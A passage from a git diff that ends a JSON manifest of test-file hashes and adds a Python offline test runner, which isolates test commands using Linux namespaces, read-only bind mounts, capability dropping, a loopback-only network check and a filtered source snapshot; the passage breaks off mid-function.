"tests/docs-paths.test.ts":{"sha256":"ff01c9aa96395c59492d768f472235de907d1086f7866be8c5fb78b4395fd66e","compatible":true}, + "tests/document-render.test.ts":{"sha256":"9b83b9c7e260e4e7c41b0082cde3de3f22d1d2d36d208241664617bda20deb5a","compatible":true}, + "tests/dom-global-restoration.test.ts":{"sha256":"461a0d85bb2b29a6de7ee35ec70f7d4a11322c5530fd341d41cc044884dced27","compatible":true}, + "tests/egress-first-party-paths.test.ts":{"sha256":"03b7bacf565677ab41999725937eba71c2855d84c136bf0f21ec4df1762b8fbe","compatible":true}, + "tests/env-parity.test.ts":{"sha256":"775fa322120873d23ac6ea833083e9d157d5eae48e366e91336760ab3e3c5d71","compatible":true}, + "tests/expected-failure-log.test.ts":{"sha256":"18be8f639bde143dc9c9cb5ff683f0f3e465d15d59a2feb620a5b5094385c7e8","compatible":false}, + "tests/experiment-tier.test.ts":{"sha256":"5c4a7a2a9c3d6c32dd72b391375614f130706045d6e3bd4526b55304deec6658","compatible":false}, + "tests/export-links-runtime.test.ts":{"sha256":"dca3074fef87cb7b13243bdce25b0011ea68abccddc11ff9129eb19d5e11c4ff","compatible":true}, + "tests/export-native-rejection-runtime.test.ts":{"sha256":"e1af12a52f484d5362541dc7d45b042b5f0b396d873e0ee2cee5d4509b541005","compatible":true}, + "tests/extra-stdio-retention.test.ts":{"sha256":"22e71a1a402f9e499096902ca4623d0d0e7f22d3bff537e9232d186262aa40ad","compatible":true}, + "tests/feature-capture-catalogue.test.ts":{"sha256":"e9b4d9483fead81b6266d8a05a63a2147acda787eca67ae24aedeb2b42da65fc","compatible":true}, + "tests/feature-capture-output.test.ts":{"sha256":"fbe28b5bcd785e8ce5377c02805a42b684b2d22beb9ffa434c4cdef71da3c532","compatible":true}, + "tests/feature-capture-runtime.test.ts":{"sha256":"ff26ec6496d7130487883696c08d774496ca5280ae523b06c7e07db456898db6","compatible":true}, + "tests/first-party-failure-classes.test.ts":{"sha256":"7d25523a893a1cfe1a4bf0487e9653c9dfaeb37d810d47cafda46c86dd80bfe8","compatible":true}, + "tests/first-party-source-pins.test.ts":{"sha256":"2a145e64f99b5ce26e179f942025d05fc2153d0048a8c64e3ab27891e0ff9129","compatible":true}, + "tests/font-cache-binding.test.ts":{"sha256":"7df47820cbab0f71d23ae5c58ebcafe41ff0660abd0211ad5f5483fdaafe2155","compatible":true}, + "tests/frontmatter-parse-gate.test.ts":{"sha256":"0187e16c2a20c4f233a7399db57a0e38e6bcc6b9811369aad61f6e6819afe2e6","compatible":true}, + "tests/generated-audio-input.test.ts":{"sha256":"f798eb0a3129534ddc10e01b9a0ccdce5dc5534d75399ba751f80cd9e981b661","compatible":true}, + "tests/geo-render.test.ts":{"sha256":"de4d68a0bd48c87bcc794fc95c25827826cb4d9992d515c93feeee0f36ac2a69","compatible":true}, + "tests/haiku-model-selection.test.ts":{"sha256":"e8cfabd84e409bf9835ab4766f12392e552645373d4ecdb2f5c0912d4cfffc20","compatible":true}, + "tests/heavy-feedback.test.ts":{"sha256":"ad594e767cdebfac084b3299909128b0008b740782ce17d4efdbd543251971c0","compatible":true}, + "tests/host-admission.test.ts":{"sha256":"8676f2ba98ac3c0f9637696b46b859d372fdd1b929bb49106b271c5af96bbe2f","compatible":true}, + "tests/hosted-proof.test.ts":{"sha256":"fbd91d65cd32a16e5c8f64ed61808a23efa0d39b13f7554f677e010f23497f0d","compatible":false}, + "tests/hygiene-failed-check-retention.test.ts":{"sha256":"7485c7c8f8696b13bfbf5630d20e3edb21ae73361790ffcaaa81fc6f131c230d","compatible":true}, + "tests/hygiene-fixture-cleanup.test.ts":{"sha256":"e19b791bc407e85ab5848d3ef7fa02e8da83ecb06fd78e9cd655169595259ecf","compatible":true}, + "tests/hygiene-reconcile-shipped.test.ts":{"sha256":"966d8a4ce6c8dbb60ef1000ef519204fcecb9164fbf7eaa7f401cee15cc921f1","compatible":true}, + "tests/hygiene-screenshot-retention.test.ts":{"sha256":"d52dbb48112fcf4f395d699074a6ceac28f1f8a3dd81984a2fed04c5486104ea","compatible":true}, + "tests/identity-native-fixture.test.ts":{"sha256":"a30e820854ad37aa79a8430e000bd707855dcfcc0076b30c8b3fc0932766d930","compatible":false}, + "tests/inbox-actions-stream.test.ts":{"sha256":"0442fa0eacabc205861086d0c669586fbff11481ac596756f847e2fead8f980b","compatible":true}, + "tests/index-query-consumers.test.ts":{"sha256":"6275842babce6188e8dfab85d51c92a87fa50287183ccb9097ad5a8cf89364c9","compatible":true}, + "tests/inline-containment-gate.test.ts":{"sha256":"2aeaa803acea9bc83c09b97d477e1e0afa16c8c122c49668670065f0063d06d4","compatible":true}, + "tests/installed-turn-surface.test.ts":{"sha256":"60b63a0605c28b48ae4546b8ef96177a30078a33fd94b1de33c9abb7ac1c113e","compatible":true}, + "tests/integration-command.test.ts":{"sha256":"780ef966192fa9ac307e81b31ae4492db002fd0f867e7b5bf057e62cc585b932","compatible":true}, + "tests/integration-proof.test.ts":{"sha256":"65c0c7887a23948fd6a9ba6dedc55645d33066784740422ae053dc9ff00f59e5","compatible":true}, + "tests/integration-reservation.test.ts":{"sha256":"392b17d903aaced01df6004c6b7c0c74f604806e8dd7d632069a5c61cfbca9b6","compatible":true}, + "tests/invisible-characters.test.ts":{"sha256":"88ee620a572cf4c1d8298c7d5b78eb3c37c1ee1fc5986672f67038a5c7abf973","compatible":true}, + "tests/jev-research-outcomes.test.ts":{"sha256":"9c9912eb3ed2bccde50a2e7bb08fcd5e53c27e6d3b89ad77231ac792b97e197f","compatible":true}, + "tests/job-ingest-scoring.test.ts":{"sha256":"74c7ec96eeb8b0dfc2484a767b583bef12f372835da51739b9e707ef06b5d553","compatible":true}, + "tests/kit-purity-gate.test.ts":{"sha256":"df830071fe823a1908a9d8db899e6b4cc7c8ba642cfd29532e19d5a3abe94cec","compatible":true}, + "tests/label-completion-provider.test.ts":{"sha256":"6b181e666e20e09d6b3b25870efc85bbf0f12bb9d8445a7299f0a7f17dd1dce9","compatible":true}, + "tests/labels.test.ts":{"sha256":"8e81aa508393cca674793fc1df63cce3a0fff64eb018b37158f03c6d82569374","compatible":true}, + "tests/layer-direction-gate.test.ts":{"sha256":"85b257fdb3b6883288dc672997c61075a092e18ecb6022c510892a06fdcb1c98","compatible":true}, + "tests/leakage-gate.test.ts":{"sha256":"b4f54933b550c0fcd5d5d5310351ff21ba55a6b1728bce25fd51a051be5eb7eb","compatible":true}, + "tests/local-checks.test.ts":{"sha256":"26867384cba334810398d8fdee693d1d6d8080346f6f8099629e2ed5919f49bd","compatible":true}, + "tests/lockfile.test.ts":{"sha256":"bd70d6035c084cd95698994a78d88de19f568cddac39eb6f7a94609c2f78a254","compatible":true}, + "tests/manual-only-skills.test.ts":{"sha256":"345570fd4402d12f057385a3eb8824b8a610538fc7f06bda534417d872fabe71","compatible":true}, + "tests/markdown-anchors.test.ts":{"sha256":"358a81886d4ff6bef29f840ac14dad8ede797190cc27e88353144b68f75b257b","compatible":true}, + "tests/measurement-fixture-lifetime.test.ts":{"sha256":"3ac1815009dec2e5f0753a1a0ac1f4f8d2e77d7fb6eba2304704e87666b22d7d","compatible":true}, + "tests/measurement-isolation.test.ts":{"sha256":"29870300cbd4d2238a1f27c9c38a4ae5948ccd8f296b13b0625f8fe142e6c8c5","compatible":true}, + "tests/module-hygiene-queries.test.ts":{"sha256":"34b259d8f8236e0f8b771ccf23024e15ed7a97f92509f49ded76dbad8d518639","compatible":true}, + "tests/module-public-imports.test.ts":{"sha256":"e392ecdc02ed7954c17701c685d9e237531874559bdb2bdc22540bed062b33c2","compatible":true}, + "tests/native-admission-timing.test.ts":{"sha256":"49a9f193eedb4d14ac5336969b131d7b91a28f30f7cbad5170de3ce7d469bfaf","compatible":true}, + "tests/native-dead-root-trace.test.ts":{"sha256":"b5724d32e5492577d3eac545a900bd7f26ab535fbb0ee058fe34beec173cc8af","compatible":true}, + "tests/native-diagram-retired.test.ts":{"sha256":"54f7f48ed9ed07d10a048674d180ded333f46e6c5520fde347394540db82660d","compatible":true}, + "tests/native-event-log.test.ts":{"sha256":"e3a95b2630ea386c38ac960df03c5238205bdcc8e635565aa8af9295c80ada16","compatible":true}, + "tests/native-lifecycle-timing.test.ts":{"sha256":"7060e58530385098a081b23a4ea30b9600031b7cd65a6cf4feecaa58bb2d0bd8","compatible":true}, + "tests/native-observation-phases.test.ts":{"sha256":"1fe70b3492cc47a9844d57c6b1b5238ff8d2877931021349f269455da6d5e6d5","compatible":true}, + "tests/native-observation-tree.test.ts":{"sha256":"012ae71c1df95f482c1d23f31114bf735b27dbf4ca5fbcca7f4ba700d1046452","compatible":false}, + "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, + "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, + "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"823a995121f6515242c7a2fb4376b6210028c2a1dc252ad6a8aa8ee013b13920","compatible":true}, + "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, + "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, + "tests/owned-loop-evidence.test.ts":{"sha256":"b15f2ddabbb52d9b5c2d94bc21529cc32df79f5ce30d7d498a2e667a6aedd348","compatible":true}, + "tests/owned-remove.test.ts":{"sha256":"7a911ef3850bdbba1b4a100dc2ce947aa1e8ee2db11fe450887452239572389f","compatible":false}, + "tests/pi-endpoint-routing.test.ts":{"sha256":"22289f0736d2d15ec1f1a5f30c18b7346a00aad2048332eefff2377f5048d2d1","compatible":true}, + "tests/pi-worker-runtime.test.ts":{"sha256":"b1b8a027cd27e891a547c00c2206ff17ca0d8a767ae44ef80a368222f48cb6ff","compatible":true}, + "tests/planning-observer.test.ts":{"sha256":"3be06da07f343fc73cdd9153a4283d319466227ff2c0451be36ca639f63b89e1","compatible":true}, + "tests/policy-write-boundary.test.ts":{"sha256":"31a25cb6702dbb4849af8b77da8da7bea21491c1558d69b0504599aef6fa4fdd","compatible":true}, + "tests/process-command-proposals.test.ts":{"sha256":"a043651cb8256e2c7f4126bebf41cceeee825185db95be03766c5753dbb1c92a","compatible":true}, + "tests/project-blockers.test.ts":{"sha256":"45a6733b758e25de116423a7348b7703ff4956a6398bb03ef01ebb75bb382c94","compatible":true}, + "tests/project-status.test.ts":{"sha256":"87e85121039d26cd4bae5722f53951f015de0f7ec9de431fb0ba549b8ae78dbc","compatible":true}, + "tests/project-sweep.test.ts":{"sha256":"29f118ff44c860a551c517cc2f950d88256d3d515b6e55506118f9097a93894f","compatible":true}, + "tests/project-sync-guards.test.ts":{"sha256":"87bbc6d6ec0393120f2419cac4779facf32390677d70351cbebb7bfd2ce707c1","compatible":true}, + "tests/project-sync-item.test.ts":{"sha256":"56940b4830b6fea7382d595067b8b226a2a4f7dc1a722e5eea0217f8ef5fd7ff","compatible":true}, + "tests/project-sync-main.test.ts":{"sha256":"c1d2155842353ccb35d632dcf317350fca3385f4bc298a688154c8a473f89408","compatible":true}, + "tests/project-tracks.test.ts":{"sha256":"91ed91eb315232e478bea28ccd9101c0155e8e5fdd05ec64c31e5f3f4c0eb4a6","compatible":true}, + "tests/proof-case-report.test.ts":{"sha256":"e7fbe5405cab8d5a243d70cc557edf84878f7d15805ea12dcaf385e790546fed","compatible":true}, + "tests/proof-inventory.test.ts":{"sha256":"0f133a2a1ddf9aa1f83bcdbb1f3965c9dce6f9f066bca27ffe45a48f3b21ed54","compatible":true}, + "tests/proof-system-lane.test.ts":{"sha256":"c902b2c57d2c202e2952c3e5de916a813a9f34b36845a6cd98b5114acc2cfae5","compatible":true}, + "tests/proof-system.test.ts":{"sha256":"67c6e57726d2964a91584569489e960ad5a5871cf60b6e69c3fad1812b0712e6","compatible":true}, + "tests/prose-links-render.test.tsx":{"sha256":"ae056f3db381ae0b4eb933c925f37ca91882819dbbaa07501adc12d0320a1eca","compatible":true}, + "tests/provider-history-host-authority.test.ts":{"sha256":"65f0ebb9c9feb9e8d194bcf2dbdfe88e67c9abb9e5537dd0f9040097f06cb20e","compatible":true}, + "tests/public-docs.test.ts":{"sha256":"17884b8a94f9c62a097363d59334c222c1dbf8d3f9f09400ff23528e2756113d","compatible":true}, + "tests/raw-buttons-gate.test.ts":{"sha256":"f45c9a41c7112755d8d0e76af236ed30d912c8eda43ced56c31ba2a6e1211a45","compatible":true}, + "tests/red-main-expedite.test.ts":{"sha256":"84bd9c5548a289adc8e539fa9014c9f5024b7de8478dcf58e7461c3dce527a2a","compatible":true}, + "tests/red-main-incident.test.ts":{"sha256":"325bdcea754d99964c7d8ad558ef5832fa2b090801ffa5311ebf56be2b357df3","compatible":true}, + "tests/red-main.test.ts":{"sha256":"8409c7d2d527aa12ab0036f89a2976a1d14d46964bef4ac4f2afddaea7e0b5ab","compatible":true}, + "tests/reference-worktree-allocation.test.ts":{"sha256":"3089811e578ced594e7e3335a873016421179245d111bb46095edc7ac32a20ac","compatible":true}, + "tests/refresh-browser-costs.test.ts":{"sha256":"f42016e6dc7dd409c5a32132443e0c8b4980fa049e44f912fc92cb771a6660f4","compatible":true}, + "tests/refresh-unit-costs.test.ts":{"sha256":"7087b46e71787ecc477f2221016e0d135292195adeeae48f097bb23279c17d4f","compatible":true}, + "tests/release-manifest.test.ts":{"sha256":"f5c00c3ca7e608135c96d686faafe0421c113eff7c22aa1923e530aa639d7ccc","compatible":true}, + "tests/release-resume.test.ts":{"sha256":"a67ee95dc001482ee7b69cd576238d4bc2905658c0656c2e549da13a7569a63b","compatible":true}, + "tests/request-replay-lifecycle.test.ts":{"sha256":"24eedacc3e409fefa24a64dd42360bc847b1e2d89244b9f80b453e3e5e6d1c78","compatible":true}, + "tests/reverse-geocode-env.test.ts":{"sha256":"da1720d2e5368fb717a6803e84aaf87eb9fba10c41015694f57fec6ee20341eb","compatible":true}, + "tests/review-receipt.test.ts":{"sha256":"baab7edac3e38f9519b00aff94b5f1fac328795d3c3ac19f7a3cb61109147f44","compatible":true}, + "tests/root-stores-gate.test.ts":{"sha256":"796590eadfbc790d49672ba29f6c9d88ad43fc5d56571d166c49ffcc82d1d467","compatible":true}, + "tests/runtime-build-selection.test.ts":{"sha256":"de8c71c9a145e5949b60ac64e3dcb54bfca7de370b1ed3bbbda8b5b7d18b31a1","compatible":true}, + "tests/seam-list.test.ts":{"sha256":"af3a18c156ecf3e0b3311faebe3cffbfbf4da61f9e20ce7edeeb37ad55d9fbf9","compatible":true}, + "tests/search-result-tags-adapters.test.ts":{"sha256":"0958184371e9cced5be249f740961b924b6b493d2ac2b72fc08ca6ceb5b1d0be","compatible":true}, + "tests/share-render.test.ts":{"sha256":"c6211f1190750d21f66bae2f65e0311c83e20f31252345c1d12a3008060cf7cc","compatible":true}, + "tests/shipped-claude-runtime-pin.test.ts":{"sha256":"6f4b8a53d4a8355ac1fa593522e779113baac2d19cf22daae56bda2f1b79f496","compatible":true}, + "tests/shipped-skills-lint.test.ts":{"sha256":"5bca537adc41b3b904b320fc1a2193fa3365d7b8e986116b9120c1d829f2197f","compatible":true}, + "tests/show-block-schema-forms.test.ts":{"sha256":"7bd12a0ee85002c7c7f7494e6417fc1aee950093b50efa385791fc27abc631d4","compatible":true}, + "tests/stats-answer-render.test.tsx":{"sha256":"33a77fe7fa697bd4b31ba64b70a328a99ad0375039a1388d6df9fc6e10f960a8","compatible":true}, + "tests/subscription-completions.test.ts":{"sha256":"0657c536c1260cbe05d44b26b697277c44011e81f4899a739104e23a053053a5","compatible":true}, + "tests/suggestions-strict-input.test.ts":{"sha256":"7daf909e21f500bc0ac1eded117ba146d98e4048b45d43404e9ea8fda407ad94","compatible":true}, + "tests/tag-alias-writer.test.ts":{"sha256":"47c4adf9b1af81f6c5e0e8e6c9084c1a8e4da86bdb8586eae15703544b3fa4c9","compatible":true}, + "tests/template-eval.test.ts":{"sha256":"60704df4a04ed10d4e7eb3b3adda737b2c5455bc5656860ae1ea0c392c24d8b0","compatible":true}, + "tests/template-leftovers.test.ts":{"sha256":"21dffceeea3f80a32198a501189c5d7607614afbe397025b4a3cb3dae6769a9f","compatible":true}, + "tests/test-deadlines.test.ts":{"sha256":"f254db058792f472b1d52009920b2b03c82ef87d26bc049b2b2e520be0f4db77","compatible":true}, + "tests/test-determinism.test.ts":{"sha256":"8505595497623217187d626820fc535d0635feacb4174bee0dfdf382edb01e9a","compatible":true}, + "tests/test-git-maintenance.test.ts":{"sha256":"e9e452701ac651e53904947f0724cf2c2d54966df5390c477a1d518d17acffef","compatible":true}, + "tests/test-home.test.ts":{"sha256":"00d9f1744166488f4c9bcc4c2979fbb625b659143311135d20e5280bbcbb8095","compatible":true}, + "tests/test-invocation-child.test.ts":{"sha256":"a40863f1af20c72f084869df5b89a0862003498d67383e15ecc0d923da19b8bb","compatible":true}, + "tests/test-invocation-lifetime.test.ts":{"sha256":"10c7f7cfc061551b65f3b82d3933f4ebe541c130f6abb92e3f6cdbbce472862c","compatible":true}, + "tests/test-invocation-workers.test.ts":{"sha256":"2091d99c06c1c09371ccd29f7d33ef27353f344057de5c0a14549de156f424e5","compatible":true}, + "tests/test-invocation.test.ts":{"sha256":"01cc0a17203a9b3c92d5595c8c8770ebf3a39368fda95dddf98961ce8d9d373b","compatible":true}, + "tests/test-network-guard.test.ts":{"sha256":"d64581f4432797c4a018db69db79a93edce71538ce9d62a35265b6d46dc2b37c","compatible":true}, + "tests/test-script.test.ts":{"sha256":"28933a7f1dab15ba6077de315efa588198343f2bdbabc12c8f24f82771d8eb8a","compatible":true}, + "tests/test-shards.test.ts":{"sha256":"19e126def6a3e7f32581731de351042034178e0a7f9fc52d8d550add7b216833","compatible":true}, + "tests/test-wait-review-partition.test.ts":{"sha256":"c35e582ade08231118f0a0bdf2a715b3bf3650574f15ecffcde76edb12b03a26","compatible":true}, + "tests/turn-temp-backends.test.ts":{"sha256":"5a0db4f1fb8cac9591fbd5e18f7e89b7387a5db5c014d2e992547e12170250f2","compatible":true}, + "tests/unit-memory.test.ts":{"sha256":"643178c2ba3c6aaad52b77de3ce0b0ae84e8449227e7c29b1a851c0cb3a91d54","compatible":true}, + "tests/unit-proof-report.test.ts":{"sha256":"7d470d207d350b31d4c01c30ea549dc1db9138565695ec1416ad2736461bda57","compatible":true}, + "tests/unit-test-consumers.test.ts":{"sha256":"a490d7c9e2f26e13fb10dc05ebb655cf3dae9b1a72e911422305b095153bf4d0","compatible":true}, + "tests/unit-workers.test.ts":{"sha256":"6c7c177c54c0f9bc30d86fe74097deec6dd8be566535279db3d556ae915dfd0b","compatible":true}, + "tests/unused-exports-gate.test.ts":{"sha256":"c3a2702df695c260aecfacfc8d53d588f30799a236368aa63d08abb3800eddfb","compatible":true}, + "tests/visual-dictation-isolation.test.ts":{"sha256":"3ba5112b5376038e19b3c416b283b84141698c5de300c1ee337a4277a8d53a5b","compatible":true}, + "tests/visual-runner.test.ts":{"sha256":"32704ae9332f379325b0404ad860042762edd727c89e12fc3960dbebeb22146a","compatible":true}, + "tests/worker-areas-core.test.ts":{"sha256":"9453628d9244630a950b27e510bc755a6d71664a592555a0a9dbbf9551cb7299","compatible":true}, + "tests/worker-limits-workloads.test.ts":{"sha256":"6e8bef16feaff3fa703f6f1cc18cc9173b0bc5e337f0f829ef60a5b1122f2d79","compatible":true}, + "tests/worker-sandbox-note.test.ts":{"sha256":"5b494dcecd4808344b03e7c26ab000726098cc715514594a3b27194fd97d701e","compatible":true}, + "tests/worker-state-tmpfs.test.ts":{"sha256":"baff07f72537067c0c34fb11bb1fe5ff6e738c7eb4dec829be834babb637e9ff","compatible":true}, + "tests/workspace-lease.test.ts":{"sha256":"056a79260fdf86c5b1f127a08185310b71e200ea16876e66c8089b3b7b86379c","compatible":true}, + "tests/zero-request-replay.test.ts":{"sha256":"8835193819a7b033bcb98e92304590a6b6fb7b5f729a7e85fc309beab4678d37","compatible":true} + } +} diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py new file mode 100644 index 0000000000..7cf4a085c6 --- /dev/null +++ b/scripts/offline-runner/runner.py @@ -0,0 +1,631 @@ +"""Fixed test setup, reached only through the static clean bootstrap. + +No product code is imported here. A failed profile never executes the command. +""" +import ctypes +import importlib.util +import errno +import hashlib +import fcntl +import json +import os +import pathlib +import pwd +import shutil +import socket +import struct +import signal +import select +import stat +import subprocess +import sys +import tempfile + +TOOL_ROOT = pathlib.Path(sys.argv[1]) +ROOT = TOOL_ROOT +BUN = pathlib.Path(sys.argv[2]) +COMMAND = sys.argv[3:] +# Worker checkouts are caller-owned data, never an elevated script selection. +if '--cwd' in COMMAND: + at = COMMAND.index('--cwd') + if at + 1 < len(COMMAND): + requested = pathlib.Path(COMMAND[at + 1]).resolve() + for parent in (requested, *requested.parents): + if (parent / '.git').exists(): + ROOT = parent; break +SETUP = pathlib.Path('/usr/local/libexec/brain-test-setup') +LIBC = ctypes.CDLL(None, use_errno=True) +NEWNS, NEWUSER, NEWNET, NEWIPC, NEWPID = 0x20000, 0x10000000, 0x40000000, 0x8000000, 0x20000000 +MS_BIND, MS_REC, MS_PRIVATE, MS_RDONLY, MS_REMOUNT, MS_NOSUID, MS_NODEV = 4096, 16384, 1 << 18, 1, 32, 2, 4 +REASON = 'offline native isolation unavailable: setup failed' +READINESS_FD = None +QUALIFIER_SOCKET = None + + +def refusal(stage, error=None): + row = {'kind': 'offline-runner-refusal', 'success': False, 'reason': REASON, + 'stage': stage, 'errno': getattr(error, 'errno', None), + 'operation': getattr(error,'strerror',None) if isinstance(error,OSError) else type(error).__name__ if error else None} + print(json.dumps(row), file=sys.stderr, flush=True) + # The caller sees the structured stderr even when its artifact store is + # unavailable; no success or fallback can be issued on that failure. + try: + output = ROOT / 'tmp/offline-runner-refusals.jsonl' + output.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + fd = os.open(output, os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600) + try: + os.write(fd, (json.dumps(row) + '\n').encode()) + finally: + os.close(fd) + except OSError: + pass + raise SystemExit(125) + + +def start(pid): + return pathlib.Path('/proc/%d/stat' % pid).read_text().rsplit(') ', 1)[1].split()[19] + + +def identity(): + return {'uid': os.getuid(), 'gid': os.getgid(), 'groups': os.getgroups(), + 'pid': os.getpid(), 'start': start(os.getpid()), 'cwd': os.getcwd(), 'umask': umask(), 'harness': harness_files()} + + +def harness_files(): + result=[] + for key in ('BRAIN_WORKSPACE_LEASE','BRAIN_NATIVE_RECEIPT'): + if key not in os.environ: continue + token=json.loads(os.environ[key]);fd=token['fd'];info=os.fstat(fd) + if not stat.S_ISREG(info.st_mode) or str(info.st_dev)!=str(token['dev']) or str(info.st_ino)!=str(token['ino']): + raise OSError(errno.EPERM,'harness descriptor changed') + result.append({'key':key,'token':token,'flags':fcntl.fcntl(fd,fcntl.F_GETFL)&os.O_ACCMODE}) + return result + + +def restore_harness(caller): + for item in caller.get('harness',[]): + if set(item)!={'key','token','flags'} or item['key'] not in ('BRAIN_WORKSPACE_LEASE','BRAIN_NATIVE_RECEIPT') or item['flags'] not in (os.O_RDONLY,os.O_WRONLY,os.O_RDWR) or (item['key']=='BRAIN_NATIVE_RECEIPT' and item['flags']==os.O_RDONLY): + raise OSError(errno.EPERM,'harness descriptor schema') + token=item['token'];target=token['fd'] + if not isinstance(target,int) or not 3<=target<64:raise OSError(errno.EPERM,'harness descriptor bound') + fd=os.open('/proc/%d/fd/%d'%(caller['pid'],target),item['flags']|os.O_CLOEXEC) + info=os.fstat(fd) + if not stat.S_ISREG(info.st_mode) or info.st_uid!=caller['uid'] or info.st_nlink!=1 or str(info.st_dev)!=str(token['dev']) or str(info.st_ino)!=str(token['ino']): + os.close(fd);raise OSError(errno.EPERM,'harness descriptor identity') + os.dup2(fd,target,inheritable=True) + if fd!=target:os.close(fd) + os.environ[item['key']]=json.dumps(token,separators=(',',':')) + + +def umask(): + current = os.umask(0) + os.umask(current) + return current + + +def syscall(result, operation): + if result != 0: + raise OSError(ctypes.get_errno(), operation) + + +def mount(source, target, kind=None, flags=0, data=None): + encode = lambda value: None if value is None else os.fsencode(value) + syscall(LIBC.mount(encode(source), encode(target), encode(kind), ctypes.c_ulong(flags), encode(data)), 'mount') + + +def bind(source, destination, readonly=True): + source, destination = pathlib.Path(source), pathlib.Path(destination) + if source.is_dir(): + destination.mkdir(parents=True, exist_ok=True) + else: + destination.parent.mkdir(parents=True, exist_ok=True) + destination.touch(exist_ok=True) + mount(source, destination, flags=MS_BIND | MS_REC) + if readonly: + mount(None, destination, flags=MS_BIND | MS_REMOUNT | MS_RDONLY | MS_NOSUID | MS_NODEV) + + +def namespaces(): + return {name: os.readlink('/proc/self/ns/' + name) for name in ('net', 'mnt', 'ipc', 'pid', 'user')} + + +def mount_hash(): + return hashlib.sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() + + +def drop_capabilities(): + class Header(ctypes.Structure): + _fields_ = [('version', ctypes.c_uint), ('pid', ctypes.c_int)] + class Data(ctypes.Structure): + _fields_ = [('effective', ctypes.c_uint), ('permitted', ctypes.c_uint), ('inheritable', ctypes.c_uint)] + # NOROOT and its lock stop a root caller's later exec from reacquiring caps. + if os.getuid() == 0: + syscall(LIBC.prctl(28, 3, 0, 0, 0), 'securebits') + syscall(LIBC.capset(ctypes.byref(Header(0x20080522, 0)), (Data * 2)()), 'capset') + syscall(LIBC.prctl(47, 4, 0, 0, 0), 'ambient-clear') + + +def snapshot(source, destination): + """No live caller-writable tree/socket is bind-visible to a native view.""" + git_env={'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} + listed=subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-C',str(source),'ls-files','-z','--cached','--others','--exclude-standard'],env=git_env) + files={pathlib.PurePosixPath(name) for name in os.fsdecode(listed).split('\0') if name} + directories={parent for file in files for parent in file.parents} + inputs=[pathlib.PurePosixPath('node_modules')] + for package in (source/'packages').iterdir(): + if package.is_dir(): + inputs.extend(pathlib.PurePosixPath('packages',package.name,name) for name in ('node_modules','dist')) + tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','bun-path','bun')} + def ignore(folder,names): + denied=[] + for name in names: + relative=pathlib.PurePosixPath(pathlib.Path(folder).relative_to(source),name) + if name=='.git' or name=='.env' or name.startswith('.env.') or relative==pathlib.PurePosixPath('tmp'): + denied.append(name);continue + dependency=any(relative==base or base in relative.parents for base in inputs) + if dependency and '.cache' not in relative.parts:continue + if relative in files or relative in directories or relative in tools or any(relative in tool.parents for tool in tools):continue + denied.append(name) + return denied + def copy_file(src, dst): + info = os.lstat(src) + if not stat.S_ISREG(info.st_mode): + raise OSError(errno.EPERM, 'nonregular source input') + shutil.copy2(src, dst, follow_symlinks=False) + shutil.copytree(source, destination, symlinks=True, dirs_exist_ok=True, copy_function=copy_file, + ignore=ignore) + # Materialize Git metadata without retaining a worktree .git indirection + # or a readable host object path in the admitted filesystem. + git_env = {'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} + def git(*args): + return subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-c','core.hooksPath=/dev/null',*args], env=git_env, stderr=subprocess.DEVNULL).decode().strip() + head = git('-C', str(source), 'rev-parse', '--verify', 'HEAD') + common = pathlib.Path(git('-C', str(source), 'rev-parse', '--git-common-dir')) + if not common.is_absolute(): common = source / common + git('init', '--quiet', str(destination)) + for name in ('objects','refs'): + shutil.copytree(common / name,destination / '.git' / name,dirs_exist_ok=True,symlinks=False) + if (common / 'packed-refs').exists():shutil.copyfile(common / 'packed-refs',destination / '.git/packed-refs') + alternates = destination / '.git/objects/info/alternates' + if alternates.exists():raise OSError(errno.EPERM,'external Git object storage') + (destination / '.git/HEAD').write_text(head+'\n') + git('-C', str(destination), 'reset', '--quiet', '--mixed', head) + # A socket/symlink traversal cannot silently enter through an alternate + # checkout input. Preserve relative in-tree package links only. + for folder, dirs, files in os.walk(destination, followlinks=False): + for name in dirs + files: + path = pathlib.Path(folder) / name + info = path.lstat() + if stat.S_ISSOCK(info.st_mode) or stat.S_ISFIFO(info.st_mode): + raise OSError(errno.EPERM, 'IPC in source input') + if path.is_symlink(): + target = pathlib.Path(os.readlink(path)) + if target.is_absolute() and target.is_relative_to(source): + projected = destination / target.relative_to(source) + path.unlink();path.symlink_to(os.path.relpath(projected,path.parent)) + if not path.resolve().is_relative_to(destination.resolve()) and target != BUN: + raise OSError(errno.EPERM, 'external source link') + + +def network_state(): + def ip(*args): + return json.loads(subprocess.check_output(['/usr/sbin/ip', '-json', *args], text=True)) + links = ip('link', 'show') + routes4, routes6 = ip('-4', 'route', 'show', 'table', 'all'), ip('-6', 'route', 'show', 'table', 'all') + if [row['ifname'] for row in links] != ['lo'] or 'UP' not in links[0]['flags']: + raise OSError(errno.EPERM, 'unexpected network interface') + for row in routes4 + routes6: + if row.get('dev') != 'lo' or row.get('type') not in ('local', 'broadcast', None): + raise OSError(errno.EPERM, 'non-loopback route') + return {'links': links, 'routes4': routes4, 'routes6': routes6} + + +def finish_view(backing, prepared, caller, profile, before): + view = pathlib.Path(backing) / 'view' + 